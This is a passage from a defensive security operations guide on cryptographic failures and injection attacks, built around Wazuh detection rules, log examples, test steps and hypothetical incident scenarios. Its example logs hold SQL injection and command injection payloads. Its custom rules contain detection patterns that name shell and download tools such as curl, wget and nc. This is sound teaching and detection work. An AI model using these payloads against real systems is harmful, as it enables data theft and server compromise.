Why attackers target it: Weak crypto turns a small foothold into large data theft. A stolen database with MD5 password hashes can be cracked quickly. Predictable tokens let attackers take over accounts without passwords.
What can happen after successful exploitation: Exposure of passwords, card data, health data and personal data; session or token forgery; account takeover; regulatory fines under laws such as GDPR and standards such as PCI DSS.
Business assets affected: customer personal data, payment data, password databases, API tokens, TLS private keys, backups.
How Cryptographic Failures Are Exploited
- What the attacker needs first: Usually another position or foothold, such as network position (public Wi Fi, a compromised router), a stolen database or backup, a leaked key, or the ability to request many tokens and study them.
- What is targeted: Login and payment traffic, password storage, token generation (password reset, session IDs), key files, backups.
- What the attacker sends or changes:
- Observes or downgrades unencrypted traffic.
- Cracks weak password hashes offline.
- Requests several tokens, finds the pattern, and predicts the next one.
- Uses a leaked key to decrypt data or sign tokens.
- What the vulnerable application does: Sends data in clear text, accepts weak protocols, issues predictable tokens, or stores data with weak protection.
- How the attacker exploits it: Reads intercepted data, logs in with cracked passwords, or uses a predicted reset token.
- What happens on success: Data disclosure or account takeover.
- Evidence left behind: This is the hard part. Offline cracking leaves no logs at the victim. Evidence is often indirect: sensitive values in URLs, logins over plain HTTP, weak TLS versions negotiated, reads of key files by unusual processes, many reset requests followed by successful resets, or logins from new places after a database leak.
Cryptographic Failure Attack Examples
Example 1: Predictable password reset tokens
- Situation: A membership website creates password reset tokens from the current time in seconds plus the user ID, then encodes them. This is not a CSPRNG (
CWE-338). - Attacker objective: Take over a target user’s account.
- Attacker actions: Requests resets for their own account several times, notices that tokens change in a predictable way, then requests a reset for the victim and computes likely tokens for that second.
- Representative access log entries:
203.0.113.60 - - [06/Nov/2026:09:00:01 +0000] "POST /password/forgot HTTP/1.1" 200 312 "-" "Mozilla/5.0"
203.0.113.60 - - [06/Nov/2026:09:00:03 +0000] "GET /password/reset?token=MTc5MzAwMDAwMV80MjE= HTTP/1.1" 400 210 "-" "python-requests/2.31.0"
203.0.113.60 - - [06/Nov/2026:09:00:03 +0000] "GET /password/reset?token=MTc5MzAwMDAwMl80MjE= HTTP/1.1" 200 2048 "-" "python-requests/2.31.0"
- Vulnerable behavior: The server accepts the predicted token.
- Attempt versus success: Many
400responses on/password/resetare attempts. A200followed by aPOSTthat sets a new password, and then a login from the attacker IP, shows success. - Impact: Account takeover. The root cause is weak randomness, which is A04. The visible symptom (account takeover) is close to A07, which is why the category comparison section compares them.
Example 2: Sensitive data sent without proper protection
- Situation: An insurance company has an old claims portal. The main site uses HTTPS, but an old HTTP virtual host still accepts logins on port 80, and a search feature puts the policy holder’s national ID in the URL.
- Attacker objective: Collect credentials and personal data from traffic or from logs and browser history.
- Representative evidence:
10.30.8.21 - - [06/Nov/2026:10:12:44 +0000] "POST /login HTTP/1.1" 302 0 "-" "Mozilla/5.0"
10.30.8.21 - - [06/Nov/2026:10:13:02 +0000] "GET /claims/search?national_id=198704115532 HTTP/1.1" 200 4410 "-" "Mozilla/5.0"
(The first line was written by the HTTP only virtual host log, /var/log/nginx/http_access.log.)
- Vulnerable behavior: Credentials travel in clear text on port 80. The national ID is placed in the URL, so it is stored in proxy logs, server logs and browser history.
- Attempt versus success: These logs show the weakness is being used by normal users, not an attack. Exploitation would be someone actually capturing the traffic or reading the logs, which usually needs network or host evidence.
- Impact: Credential theft and personal data exposure; likely compliance violations.
Example 3: Weak password storage
A company stores passwords as unsalted MD5. A database backup is stolen through a different weakness. Attackers crack most passwords offline in hours and use them on the company’s site and on other sites. The SOC sees no cracking activity, only a later wave of successful logins from new IPs. The root cause of the mass compromise is A04 (weak hashing); the initial theft may belong to another category.
Cryptographic Failure Indicators and Evidence
| Indicator | Where you see it | Strength |
|---|---|---|
| Passwords, card numbers, national IDs or tokens in URL parameters | Access logs | Strong evidence of a weakness (data exposure), not of an attack |
POST /login on an HTTP only log or port 80 | Access logs per virtual host | Strong evidence of a weakness |
| TLS 1.0, TLS 1.1 or SSLv3 negotiated | Web server or load balancer logs that record the TLS protocol | Strong evidence of weak configuration |
| SCA check failure on TLS or cipher settings | Wazuh SCA (web server policies) | Strong evidence of weak configuration |
| Unusual process reading TLS private key files | auditd file watch, Sysmon | Strong sign of key theft attempt |
Many reset token attempts with 400 followed by 200 | Access logs | Suspicious to strong |
| Sudden wave of successful logins from new IPs for many accounts | Authentication logs | Suspicious, may follow offline cracking |
| Large download of a database backup or export | Access logs, database audit logs, DLP | Strong sign of possible theft |
| Hardcoded keys found in a repository | Secret scanning tools | Strong evidence of weakness |
How to Detect Cryptographic Failures with Wazuh
Required Log Sources
| Source | Necessary or optional | Why |
|---|---|---|
| Web access logs, separated by HTTP and HTTPS virtual host, or including the scheme | Necessary | Shows plain HTTP use and data in URLs |
| Web server or load balancer logs that record the negotiated TLS protocol and cipher | Recommended | Shows weak TLS in real use |
| Wazuh SCA with web server policies | Necessary | Finds weak protocol and cipher settings |
| auditd (Linux) or Sysmon (Windows) watching key files | Recommended | Shows who reads private keys |
| Authentication and password reset logs | Recommended | Shows token abuse and post cracking logins |
| Database audit logs | Optional | Shows bulk reads of sensitive tables |
| Secret scanning and certificate monitoring tools | Optional, external | Find leaked keys and expiring or weak certificates |
What Wazuh Can and Cannot Detect
- Directly with built in features:
- SCA policies such as
cis_nginx_1,cis_apache_24andcis_iis_10include checks on protocols and ciphers. Built in rules 19007 and 19011 report failed and regressed checks. - FIM (rules 550, 553, 554) detects changes to certificate and key files.
- Vulnerability Detection finds outdated crypto libraries (for example vulnerable OpenSSL versions). That overlaps with A03.
- SCA policies such as
- Needs custom rules: sensitive parameters in URLs, logins on plain HTTP, weak TLS versions in logs, reads of key files.
- Needs application logs: token generation and reset flows.
- Needs external tools: TLS scanning, certificate monitoring, secret scanning, network traffic analysis.
- Cannot be reliably detected by Wazuh alone: offline password cracking, passive eavesdropping on unencrypted traffic, and whether an algorithm inside the code is weak. These need code review, testing and network monitoring.
- Suspicious versus proof: Wazuh can prove that a weakness is present (for example a
password=parameter in URLs). Proving that an attacker exploited a crypto weakness usually needs other evidence, such as stolen data appearing elsewhere or impossible logins.
Wazuh Rules for Cryptographic Failures
All rules below are custom rules (examples).
Rule logic:
- 100401: Sensitive parameter names appear in a URL query string.
- 100402: A
POSTto/loginwas written to the HTTP only access log (clear text credentials). - 100403: A process other than the web server read a TLS private key file, based on an auditd watch with the key
tls_key_read. - 100404: A JSON access log shows a deprecated TLS protocol was negotiated.
<group name="custom_owasp,owasp_a04,">
<!-- Custom rule (example): sensitive data in URL query string -->
<rule id="100401" level="7">
<if_sid>31100</if_sid>
<url type="pcre2">(?i)[?\x26](password|passwd|pwd|card_number|cc_number|cvv|national_id|ssn|api_key|access_token)=</url>
<description>OWASP A04: Sensitive parameter sent in URL: $(url)</description>
</rule>
<!-- Custom rule (example): login submitted over plain HTTP -->
<rule id="100402" level="8">
<if_sid>31100</if_sid>
<location>/var/log/nginx/http_access.log</location>
<protocol>^POST$</protocol>
<url type="pcre2">(?i)^/(login|signin|auth)</url>
<description>OWASP A04: Credentials submitted over unencrypted HTTP from $(srcip)</description>
</rule>
<!-- Custom rule (example): TLS private key read by an unexpected process -->
<rule id="100403" level="12">
<if_sid>80700</if_sid>
<field name="audit.key">^tls_key_read$</field>
<field name="audit.exe" type="pcre2" negate="yes">/(nginx|apache2|httpd)$</field>
<description>OWASP A04: TLS private key read by unexpected process $(audit.exe)</description>
<mitre>
<id>T1552.004</id>
</mitre>
</rule>
<!-- Custom rule (example): deprecated TLS version negotiated (JSON access log) -->
<rule id="100404" level="8">
<decoded_as>json</decoded_as>
<field name="log_type">^web_access$</field>
<field name="ssl_protocol" type="pcre2">^(SSLv3|TLSv1|TLSv1\.1)$</field>
<description>OWASP A04: Deprecated protocol $(ssl_protocol) negotiated by $(client_ip)</description>
</rule>
</group>
Supporting configuration (examples):
- Linux audit rule on the web server, so auditd records reads of the key folder with the key
tls_key_read:
auditctl -w /etc/ssl/private/ -p r -k tls_key_read
- Wazuh agent collects the audit log:
<localfile>
<log_format>audit</log_format>
<location>/var/log/audit/audit.log</location>
</localfile>
- For 100404, NGINX writes a JSON access log.
$ssl_protocolis a standard NGINX variable. The keylog_typeis added so the rule only matches this log:
log_format json_tls escape=json '{"log_type":"web_access","client_ip":"$remote_addr","request":"$request","http_status":"$status","ssl_protocol":"$ssl_protocol"}';
access_log /var/log/nginx/access_tls.json json_tls;
Notes: Rule 80700 is the built in auditd group rule (decoded as auditd), and audit.key and audit.exe are fields produced by the built in audit decoder. MITRE T1552.004 is “Unsecured Credentials: Private Keys”. The JSON key names (client_ip, ssl_protocol) were chosen to avoid Wazuh static field names such as srcip, so they behave as ordinary decoded fields.
Why these levels: URL data exposure (100401) is a weakness to report, level 7. Clear text logins (100402) and weak TLS use (100404) are real exposures, level 8. A private key read by an unknown process (100403) can mean key theft, level 12.
How to test:
- Paste into
wazuh-logtest:
10.30.8.21 - - [06/Nov/2026:10:13:02 +0000] "GET /claims/search?national_id=198704115532 HTTP/1.1" 200 4410 "-" "Mozilla/5.0"
Expected: rule 100401.
- Rule 100402 depends on
location, whichwazuh-logtestsets to a default value, so test it on a lab agent by sending aPOST /loginto the HTTP virtual host. - For 100403, run
caton a test key file on a lab host and check for the alert. - For 100404, paste a JSON line such as:
{"log_type":"web_access","client_ip":"198.51.100.31","request":"GET / HTTP/1.1","http_status":"200","ssl_protocol":"TLSv1.1"}
Expected: decoder json, rule 100404.
Expected alert (representative, shortened):
{
"rule": { "level": 12, "id": "100403", "description": "OWASP A04: TLS private key read by unexpected process /usr/bin/cp" },
"agent": { "name": "claims-web-01" },
"decoder": { "name": "auditd" },
"data": { "audit": { "key": "tls_key_read", "exe": "/usr/bin/cp", "uid": "1003", "file": { "name": "/etc/ssl/private/claims.key" } } }
}
Investigating the Alert in Wazuh
- Find the alert: Threat Hunting, filter
rule.groups:owasp_a04or the specific rule ID. Check the Configuration Assessment view for TLS related checks. - Fields to inspect:
data.url(sensitive parameters),location(which virtual host log),data.ssl_protocol,data.client_ip,data.audit.exe,data.audit.uid,data.audit.file.name. - Source IP:
data.srcipordata.client_ip. Internal users on an old portal are victims of the weakness, not attackers. - Affected endpoint:
agent.name, virtual host fromlocation. - User account: For key reads, map
data.audit.uidanddata.audit.auid(login user ID) to a person. - Timestamps: First and last occurrence. How long was clear text use happening?
- Correlate: Key read followed by outbound transfer from the same host; reset token attempts followed by password change and new login.
- Success check: For key theft, look for copies of the key, outbound transfers, or certificates used elsewhere. For token abuse, look for successful resets.
- Impact: Which data types were exposed, for how many users and for how long.
- Document: Weakness, exposure window, affected data, recommended crypto fix.
Useful Wazuh Dashboard Queries
| Query | What it finds | What to look for |
|---|---|---|
rule.id:100401 | Sensitive data in URLs | Which parameters and endpoints |
rule.id:100402 | Clear text logins | How many users, still happening or not |
rule.id:100404 | Weak TLS negotiated | Which clients still need old protocols |
rule.id:100403 | Unexpected key reads | Process, user, next actions on the host |
rule.id:(19007 or 19011) and data.sca.check.title:*TLS* | Failed SCA checks about TLS | Hosts that allow weak protocols |
data.url:*password/reset* and data.id:400 | Failed reset token attempts | Bursts from one IP |
syscheck.path:/etc/ssl/* | FIM events on certificate and key folders | Unexpected certificate replacement |
Detection Limitations
- Offline cracking and passive sniffing leave no logs at the victim.
- Wazuh does not inspect encrypted traffic; it only sees what servers log.
- The negotiated TLS version is not in default access logs; you must add it.
- Weak algorithms inside code are found by code review and testing, not SIEM rules.
- False positives: health checks on HTTP, internal legacy clients, backup jobs that read key files.
- Improve visibility: Log TLS protocol and cipher, separate HTTP and HTTPS logs, audit key file access, run external TLS scans, enable secret scanning in repositories, and log password reset events with outcome.
Practical SOC Investigation Scenario: Predictable Password Reset Tokens
Hypothetical scenario: This case study is an invented enterprise example that illustrates the investigation method. It does not describe a real organization or breach.
Organization and affected application. A membership organization runs a public portal. Wazuh collects the NGINX access logs and the application logs for logins and password resets.
Initial suspicious activity. One IP requests a password reset, then fires dozens of reset token values at the reset endpoint within seconds.
Initial detection. Built in rule 31151 (“Multiple web server 400 error codes from same source ip”) fires for 203.0.113.60. All of the errors are on /password/reset.
Logs examined. The analyst reviews the access logs for the IP and the application logs for reset and login events, and the developers explain how reset tokens are generated.
Suspicious indicators. The IP sends one POST /password/forgot, then 60 GET /password/reset requests with different token values in four seconds. 59 return 400 and one returns 200. A POST /password/reset and a successful POST /login follow.
Event correlation. The application log shows that the reset was for a member who never requested one, and the member confirms this. Decoding the token values (they are only Base64 encoded) reveals a timestamp plus the user ID, not output from a cryptographically secure random generator.
Assessment of successful exploitation. The 59 failures are attempts. The 200, the password change, the member’s confirmation and the attacker’s login together confirm a successful account takeover. A 90 day retrospective search finds the same pattern from two other IPs against 14 accounts, with 6 successes.
Potential business impact. At least seven member accounts are confirmed as taken over, with exposure of personal data and account functions.
Incident response actions. The SOC escalates the case as High. It recommends blocking the IPs, forcing password resets and invalidating sessions for the affected members. Support and privacy teams contact the members.
Recommended remediation. Developers generate tokens with a CSPRNG, make them single use and short lived, and add rate limiting to the reset endpoint. Verification confirms that new tokens show no pattern and that repeated failed attempts are blocked. The root cause is weak randomness, which is A04 Cryptographic Failures (CWE-338). The account takeover symptom relates to A07, and the report mentions both.
Incident Response Process
| Step | Category specific action | Who |
|---|---|---|
| Initial triage | Is this a weakness being used normally, an attack attempt, or confirmed abuse? | SOC L1 |
| Evidence collection | Logs showing exposure, TLS data, SCA results, key file events, token samples | SOC L1 or L2 |
| Event correlation | Link token attempts to resets and logins; key reads to outbound transfers | SOC L2 |
| Severity assessment | Weak config only (Medium), active data exposure (High), key theft or mass account takeover (Critical) | SOC L2 |
| Impact assessment | Data types, number of users, exposure window | SOC with app owner and privacy team |
| Escalation | Incident lead, app owner, PKI or certificate owner, privacy officer | SOC |
| Containment recommendation | Disable HTTP, revoke and reissue certificates, rotate keys, force password resets, invalidate tokens | SOC recommends; admins and developers execute |
| Coordination | Developers fix algorithms and token generation; admins fix TLS config | Developers, admins |
| Remediation verification | SCA passes, TLS scan shows only strong protocols, no sensitive data in new logs | SOC |
| Documentation and closure | Root cause, affected data, compliance notes, new detections | SOC and incident lead |
Prevention and Remediation
- Classify data and protect sensitive data according to its class.
- Encrypt all data in transit with TLS 1.2 or higher with forward secrecy; enforce HTTPS with HSTS.
- Encrypt sensitive data at rest; do not store data you do not need.
- Store passwords with Argon2, scrypt, yescrypt or PBKDF2 with a work factor and salt.
- Use a CSPRNG for all tokens and IDs that must be unpredictable.
- Keep keys out of code; store important keys in an HSM or cloud key service; rotate them.
- Disable caching of responses with sensitive data.
- Never put sensitive data in URLs.
- Remove MD5, SHA1, DES, SSLv3, TLS 1.0 and TLS 1.1.
A05:2025 Injection
Official page: OWASP A05:2025 Injection
What Is Injection?
Definition: Injection happens when untrusted user input is sent to an interpreter (a database, the operating system shell, a browser, an LDAP server) and part of that input is executed as a command instead of being treated only as data.
Key terms:
- Interpreter is any component that reads text and executes it: SQL database, OS shell, browser (JavaScript), LDAP server, template engine.
- SQL injection (SQLi,
CWE-89) changes a database query. - OS command injection (
CWE-78) runs system commands on the server. - Cross Site Scripting (XSS,
CWE-79) injects script into a web page that runs in other users’ browsers. OWASP keeps XSS inside A05. - Parameterized query (prepared statement) sends the query structure and the data separately, so data cannot change the structure. This is the main defense.
- Payload is the attacker’s crafted input.
- Blind SQL injection is when the attacker cannot see query results and infers them from true or false differences or time delays.
- Prompt injection in large language model applications is a related class covered separately in the OWASP LLM Top 10.
What weakness it represents: User data is not validated, filtered or escaped, and dynamic queries or commands are built by concatenating strings. OWASP reports injection has the greatest number of CVEs of any category (37 CWEs), with more than 30,000 CVEs for XSS and more than 14,000 for SQL injection.
Why it happens:
- Developers build queries by string concatenation.
- Input validation is missing or only done in the browser.
- Frameworks are trusted blindly, for example concatenating input into an ORM or HQL query.
- User input is passed to shell commands for convenience.
Why attackers target it: It is well known, highly automated (tools test every parameter), and the impact can be total: full database dump or server control.
What can happen after successful exploitation: Data theft, data modification or deletion, authentication bypass, command execution on the server, and for XSS, session theft and actions performed as the victim.
Business assets affected: databases with customer and payment data, servers, user sessions and accounts.
How Injection Attacks Work
- What the attacker needs first: Any input that reaches an interpreter: URL parameters, form fields, JSON bodies, headers, cookies.
- What part is targeted: Search boxes, login forms, filters, report generators, APIs, “ping” or “lookup” tools, comment fields (XSS).
- What the attacker sends: Characters with special meaning for the interpreter: quotes
', comments--, keywordsUNION SELECT, shell separators;|&&, HTML tags<script>. - What the vulnerable application does: Inserts the input directly into the query or command string.
- How the attacker exploits it: First tests with a quote to cause an error, then crafts payloads to extract data, bypass login, or run commands. Usually automated.
- What happens on success: The database returns extra rows, the login is bypassed, a command runs, or the script runs in a victim’s browser.
- Evidence left behind: Attack keywords in URLs, bursts of
500errors (syntax errors), database error messages in application logs, unusually large responses, time delays, and for command injection, new processes started by the web server user.
SQL Injection, Command Injection and XSS Examples
Example 1: SQL injection in a product search
- Situation: An online electronics store has
/products?category=that builds the SQL query by concatenation. - Attacker objective: Extract the customer table.
- Attacker actions: Tests with a single quote, sees a
500error, then uses aUNION SELECTpayload. - Representative access log entries:
198.51.100.23 - - [07/Nov/2026:13:40:01 +0000] "GET /products?category=laptops' HTTP/1.1" 500 612 "-" "sqlmap/1.8"
198.51.100.23 - - [07/Nov/2026:13:40:05 +0000] "GET /products?category=laptops%27%20union%20select%20null,null,null--%20 HTTP/1.1" 500 640 "-" "sqlmap/1.8"
198.51.100.23 - - [07/Nov/2026:13:41:12 +0000] "GET /products?category=laptops%27%20union%20select%20email,password_hash,null%20from%20customers--%20 HTTP/1.1" 200 184220 "-" "sqlmap/1.8"
- Vulnerable behavior: The query becomes
SELECT name, price, stock FROM products WHERE category='laptops' UNION SELECT email, password_hash, null FROM customers -- '. - Attempt versus success: The
500lines are attempts (the query broke). The final200with 184 KB compared with a normal 15 KB category page strongly suggests data was returned. Confirmation comes from database audit logs or by reproducing safely in a test environment. - Impact: Customer emails and password hashes stolen.
Example 2: OS command injection in a network diagnostic page
- Situation: An internal IT portal has a “check host” feature that runs
nslookupwith the user’s input, as in the OWASP example. - Attacker objective: Run commands on the server.
- Example request:
GET /tools/lookup?domain=example.com;id HTTP/1.1
Host: itportal.corp.example
- Vulnerable behavior: The server runs
nslookup example.com;id, soidalso runs. - Attempt versus success: The URL alone is an attempt. Success is proven by process telemetry: the web server user (for example
www-data) started/usr/bin/idor a shell. The response size or content may also show command output. - Impact: Code execution on an internal server, possible lateral movement.
Example 3: Stored XSS in a support ticket
A customer writes a support ticket containing <script> that sends the reader’s session cookie to an external site. When a support agent opens the ticket, the script runs in the agent’s browser. Evidence: the payload in the stored ticket, and requests from the agent’s browser to an unknown domain. Impact: support agent session hijacked.
Injection Indicators and Evidence
| Indicator | Where you see it | Strength |
|---|---|---|
SQL keywords and quotes in parameters (union select, ' or '1'='1, sleep() | Access logs, WAF | Suspicious attempt |
Scanner user agents such as sqlmap | Access logs | Suspicious, shows automated testing |
Bursts of 500 errors from one IP on one endpoint | Access logs | Suspicious, often shows syntax errors from probing |
Database error messages (SQLSTATE, ORA-, “unclosed quotation mark”) | App and database error logs | Strong evidence that input reached the query |
200 response with much larger size than normal after injection payloads | Access logs | Strong indicator of data extraction |
| Response times increasing after time based payloads | App or proxy logs with response time | Suspicious to strong (blind SQLi) |
Shell separators and commands in parameters (;id, ` | whoami`) | Access logs |
Web server user spawning sh, bash, cmd.exe, powershell.exe | auditd, Sysmon | Strong evidence of command execution |
| Unusual database queries reading many rows from sensitive tables | Database audit logs | Strong |
<script> or onerror= in parameters or stored content | Access logs, WAF, app logs | Suspicious (XSS attempt) |
How to Detect SQL Injection and Other Injection Attacks with Wazuh
Required Log Sources
| Source | Necessary or optional | Why |
|---|---|---|
| Web access logs | Necessary | Built in injection rules analyze the URL |
| Web server and application error logs | Strongly recommended | Database errors show input reached the query |
| WAF logs (for example ModSecurity) | Recommended | Sees request bodies, which access logs do not |
| Database audit logs | Recommended | Proves which queries ran and how many rows |
| auditd or Sysmon process events on web servers | Necessary for command injection proof | Shows processes started by the web server |
| Network logs from web and database servers | Optional | Shows data leaving |
What Wazuh Can and Cannot Detect
- Directly with built in rules (from
0245-web_rules.xml, all children of 31100):- 31103 (level 7) “SQL injection attempt.” matches URL patterns such as
union%20,select+,%20from%20,null,null,xp_cmdshell. - 31164, 31165, 31170, 31171 (level 6) “SQL injection attempt.” match other encodings and patterns such as
=%27,%2csleep,sysdate(). - 31105 (level 6) “XSS (Cross Site Scripting) attempt.” matches
%3Cscript,script>,SRC=javascript,%20ONLOAD=and others. - 31104 (level 6) “Common web attack.” matches path traversal and command patterns such as
../..,cmd.exe,wget%,echo;. - 31106 (level 6) “A web attack returned code 200 (success).” fires when 31103, 31104 or 31105 match and the status is
200. - 31152, 31153, 31154 (level 10) fire when the same source IP triggers many SQL injection (8 in 120 seconds), common web attack (10 in 120 seconds) or XSS (10 in 120 seconds) attempts.
- 31166 to 31169 detect Shellshock patterns.
- 31122 (level 5) and 31162 (level 10) cover
500errors, single and repeated from one IP.
- 31103 (level 7) “SQL injection attempt.” matches URL patterns such as
- Very important limitation of 31106: “returned code 200 (success)” means only that the HTTP status was 200. Many applications return
200for error pages or search results with no data. It is not proof of exploitation. Check response size and application or database logs. - Needs custom rules: OS command injection patterns beyond the built ins, database error messages in application logs, web server processes spawning shells.
- Needs WAF or app logs: Injection in
POSTbodies and JSON APIs, which never appear in access logs. - Cannot be reliably detected by Wazuh alone: heavily encoded or obfuscated payloads, injection in bodies without WAF logs, second order injection (stored first, executed later), and DOM based XSS that happens only in the browser.
The official Wazuh proof of concept guide “Detecting an SQL injection attack” uses exactly this approach: monitor Apache access logs and expect rule 31103, or 31106 if the response was 200. Source: Wazuh PoC: SQL injection
Wazuh Rules for Injection Detection
Built in rules: 31103, 31104, 31105, 31106, 31152, 31153, 31154 as listed above. Enable them simply by collecting access logs:
<!-- Agent ossec.conf -->
<localfile>
<log_format>apache</log_format>
<location>/var/log/apache2/access.log</location>
</localfile>
Custom rules (examples):
- 100501: OS command injection patterns in URL parameters.
- 100502: Database syntax errors in a JSON application error log.
- 100503: On Linux, the web server user started a shell or download tool (auditd).
- 100504: On Windows IIS, the worker process
w3wp.exestartedcmd.exeorpowershell.exe(Sysmon).
<group name="custom_owasp,owasp_a05,">
<!-- Custom rule (example): OS command injection pattern in a parameter -->
<rule id="100501" level="8">
<if_sid>31100</if_sid>
<url type="pcre2">(?i)=[^\x26]*(%3B|;|%7C|\||%60|`|%24%28|\$\()\s*(id|whoami|uname|cat|curl|wget|nc|bash|sh)(%20|\+|$|\x26)</url>
<description>OWASP A05: Possible OS command injection in URL: $(url)</description>
<mitre>
<id>T1190</id>
<id>T1059</id>
</mitre>
</rule>
<!-- Custom rule (example): database syntax error in application log -->
<rule id="100502" level="10">
<decoded_as>json</decoded_as>
<field name="log_type">^app_error$</field>
<field name="error" type="pcre2">(?i)(SQLSTATE\[|syntax error.{0,40}SQL|ORA-\d{5}|unclosed quotation mark)</field>
<description>OWASP A05: Database syntax error in application, possible SQL injection probing from $(client_ip)</description>
<mitre>
<id>T1190</id>
</mitre>
</rule>
<!-- Custom rule (example): web server user started a shell or download tool (Linux auditd) -->
<rule id="100503" level="12">
<if_sid>80700</if_sid>
<field name="audit.key">^web_exec$</field>
<field name="audit.exe" type="pcre2">/(sh|bash|dash|curl|wget|nc|python3?)$</field>
<description>OWASP A05: Web server account executed $(audit.exe), possible command injection or web shell</description>
<mitre>
<id>T1059.004</id>
<id>T1505.003</id>
</mitre>
</rule>
<!-- Custom rule (example): IIS worker process started a shell (Windows Sysmon) -->
<rule id="100504" level="12">
<if_sid>61603</if_sid>
<field name="win.eventdata.parentImage" type="pcre2">(?i)\\w3wp\.exe$</field>
<field name="win.eventdata.image" type="pcre2">(?i)\\(cmd|powershell|pwsh)\.exe$</field>
<description>OWASP A05: IIS worker process started $(win.eventdata.image)</description>
<mitre>
<id>T1505.003</id>
</mitre>
</rule>
</group>
Supporting audit rule for 100503 (example, Debian or Ubuntu where www-data has UID 33):
auditctl -a always,exit -F arch=b64 -S execve -F euid=33 -k web_exec
Why these levels: 100501 is an attempt (level 8, a little higher than built in attempts because command injection impact is severe). 100502 shows input reached the database (level 10). 100503 and 100504 show actual execution by the web server, which is a strong sign of compromise (level 12).
How to test:
- Paste into
wazuh-logtest:
198.51.100.23 - - [07/Nov/2026:13:40:05 +0000] "GET /products?category=laptops%27%20union%20select%20null,null,null--%20 HTTP/1.1" 500 640 "-" "sqlmap/1.8"
Expected: built in rule 31103, level 7, “SQL injection attempt.”
- Paste the same line with status
200. Expected: built in rule31106, level 6 (child of 31103). This shows that the alert level can go down even though the request “succeeded”, which is why you must read the evidence and not only the level. - Paste:
10.40.2.17 - - [07/Nov/2026:15:02:11 +0000] "GET /tools/lookup?domain=example.com;id HTTP/1.1" 200 980 "-" "curl/8.5.0"
Expected: custom rule 100501.
- Paste a JSON line for 100502:
{"log_type":"app_error","client_ip":"198.51.100.23","path":"/products","error":"SQLSTATE[42000]: Syntax error or access violation near ''' at line 1"}
- Test 100503 on a lab server by running a harmless command as the web user, for example
sudo -u www-data /bin/sh -c true.
Expected alert from a built in rule (representative, shortened):
{
"timestamp": "2026-11-07T13:40:05.214+0000",
"rule": {
"level": 7,
"description": "SQL injection attempt.",
"id": "31103",
"mitre": { "id": ["T1190"], "tactic": ["Initial Access"], "technique": ["Exploit Public-Facing Application"] },
"groups": ["web", "accesslog", "attack", "sql_injection"]
},
"agent": { "id": "021", "name": "shop-web-01" },
"decoder": { "name": "web-accesslog" },
"data": { "protocol": "GET", "srcip": "198.51.100.23", "id": "500", "url": "/products?category=laptops%27%20union%20select%20null,null,null--%20" },
"location": "/var/log/apache2/access.log"
}
Investigating the Alert in Wazuh
- Find the alert: Threat Hunting, filter
rule.groups:sql_injectionorrule.id:(31103 or 31106 or 31152). - Fields to inspect:
data.url(decode it),data.id,data.srcip,agent.name,full_log(bytes and user agent),rule.firedtimes. - Source IP: Reputation, geolocation, whether it is an approved scanner or penetration tester.
- Affected endpoint:
agent.name, the parameter being attacked. - User account: If the endpoint requires login, find the session in app logs. For command injection, the process user from auditd (
data.audit.euid) or Sysmon. - Timestamps: First probe, first
200, last request. Did the attack stop or continue? - Correlate: Same IP across all endpoints; database audit logs at the same minutes; process events on the web server; outbound connections.
- Success check: Compare response sizes with normal; look for database errors (attempt reached the query) versus large data responses (extraction); look for process creation (command execution).
- Impact: Which tables or commands? How many rows? Was data sent out?
- Document: Decoded payloads, timeline, success evidence, affected data, confidence.
Useful Wazuh Dashboard Queries
| Query | What it finds | What to look for |
|---|---|---|
rule.groups:sql_injection | All SQL injection attempt alerts | Top IPs and targeted endpoints |
rule.id:31106 | Attack patterns with status 200 | Response sizes in full_log |
rule.id:(31152 or 31153 or 31154) | Repeated attacks from one IP | Automated tools, campaign scope |
data.srcip:"198.51.100.23" and data.id:200 | Successful responses for the attacker | Compare bytes per endpoint |
rule.id:(31122 or 31162) and data.url:*products* | Server errors on the target endpoint | Errors caused by payloads |
rule.id:100503 or rule.id:100504 | Web server process spawning shells | Command line and parent process |
full_log:*sqlmap* | Requests with the sqlmap user agent | Note: attackers can change the user agent |
Detection Limitations
POSTand JSON bodies are not in access logs. API injection is often invisible without WAF or app logs.- Encoding and obfuscation can bypass simple patterns.
- Built in patterns create false positives, for example a search for “select from list” or legitimate SQL in an admin reporting tool. Built in rule 31107 already ignores some search URLs for this reason.
200status does not equal success;500status does not equal failure.- Second order injection and DOM based XSS leave weak or no server logs.
- Improve visibility: Deploy a WAF and send its logs to Wazuh, log database errors in JSON, enable database auditing on sensitive tables, monitor web server process creation, and log response time.
Practical SOC Investigation Scenario: SQL Injection Against a Product Catalog
Hypothetical scenario: This case study is an invented enterprise example that illustrates the investigation method. It does not describe a real organization or breach.
Organization and affected application. An electronics retailer runs its storefront on Apache with a MySQL database. Wazuh collects the access logs, the application error logs (JSON) and the database audit logs.
Initial suspicious activity. An external IP sends hundreds of automated requests with SQL syntax in the category parameter.
Initial detection. Built in rule 31152 (“Multiple SQL injection attempts from same source ip”, level 10) fires for 198.51.100.23 against shop-web-01.
Logs examined. The analyst reviews the access logs filtered by the source IP, the custom rule 100502 results (database syntax errors in the application log), the database audit log and the process events on the web server.
Suspicious indicators. About 900 requests arrive in six minutes with the user agent sqlmap, all targeting /products?category=. The early requests return 500. At 13:41:12, a request containing union select email,password_hash,null from customers returns 200 with 184,220 bytes, while normal category pages are about 15,000 bytes.
Event correlation. Custom rule 100502 shows SQLSTATE syntax errors at the same times as the 500 responses, which proves the input reached the SQL query. At 13:41:12 the database audit log records a query against the customers table that returns 2,140 rows, something no product page does. Custom rule 100503 (web server user spawning a shell) does not fire.
Assessment of successful exploitation. The analyst does not treat the 200 status as proof, because rule 31106 only means a web attack pattern received status 200. The oversized response together with the matching database audit record confirms successful SQL injection and data extraction. There is no evidence of command execution on the server.
Potential business impact. 2,140 customer email addresses and password hashes were exposed. How quickly the hashes can be cracked depends on the hashing algorithm, which is an A04 question.
Incident response actions. The SOC escalates the case as Critical and preserves the database logs. It recommends a WAF block and a virtual patch for the vulnerable parameter. Security and privacy teams force password resets for the affected customers and assess breach notification.
Recommended remediation. Developers rewrite the query with parameterized statements. After the fix, the original payloads are replayed safely in a test environment and return normal results, and no new 100502 errors appear in production. The root cause is A05 Injection (CWE-89).
Incident Response Process
| Step | Category specific action | Who |
|---|---|---|
| Initial triage | Is it a scanner, a pen test, or targeted? Is it ongoing? Any 200s or execution? | SOC L1 |
| Evidence collection | Decoded payloads, access, WAF, app error and database logs, process events | SOC L1 or L2 |
| Event correlation | Probes, then errors, then large responses, then DB queries, then processes or outbound traffic | SOC L2 |
| Severity assessment | Blocked attempts (Low), errors reaching DB (Medium), data extracted (High or Critical), command execution (Critical) | SOC L2 |
